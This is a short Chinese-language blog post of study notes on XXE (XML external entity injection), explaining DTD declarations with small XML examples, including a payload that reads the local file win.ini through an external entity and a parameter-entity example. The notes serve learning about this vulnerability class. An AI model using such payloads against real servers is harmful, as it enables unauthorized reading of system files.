XXE漏洞笔记

一、什么是XXE漏洞

XXE漏洞全称为XML External Entity,也就是xml外部实体注入,攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。可造成文件读取、命令执行、内网端口扫描等等危害

二、什么是xml,DTD

DTD全称是The document type definition,即是文档类型定义,
可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

三、引用方法

    DTD 内部声明
    <!DOCTYPE 根元素 [元素声明]>

    DTD 外部引用(可以读取本地文件)
    <!DOCTYPE 根元素名称 SYSTEM “外部DTD的URI”>

    引用公共DTD(可以调用远程文件)
    <!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

几个小dome

<?xml version="1.0"?>
<!DOCTYPE test[
	<!ELEMENT test (one,two,three)>
	<!ELEMENT one (#PCDATA)>
	<!ELEMENT two (#PCDATA)>
	<!ELEMENT three (#PCDATA)>
]>
<test>
	<one>one</one>
	<two>two</two>
	<three>three</three>
</test>

调用内部声明

<?xml version="1.0"?>
<!DOCTYPE test[
	<!ELEMENT test (flag)>
	<!ENTITY hack "hack hack hack">
]>
<test>
	<flag>&hack;</flag>
</test>

调用本地xml文件

<?xml version="1.0"?>
<!DOCTYPE test SYSTEM "test.dtd">
<test>
	<one>one</one>
	<two>two</two>
	<three>three</three>
</test>

读取本地文件

<?xml version="1.0"?>
<!DOCTYPE test[
<!ELEMENT test (flag)>
<!ENTITY hacker SYSTEM "file:///C:/Windows/win.ini">
]>
<test>
<flag>&hacker;</flag>
</test>

另一种调用方法

<?xml version="1.0"?>
<!DOCTYPE test[
<!ELEMENT test (flag)>
<!ENTITY % one "<!ENTITY two '66666'>">
%one;
]>
<test>
<flag>&two;</flag>
</test>
posted @ 2020-03-20 19:29  BuFFERer  阅读(240)  评论(0编辑  收藏  举报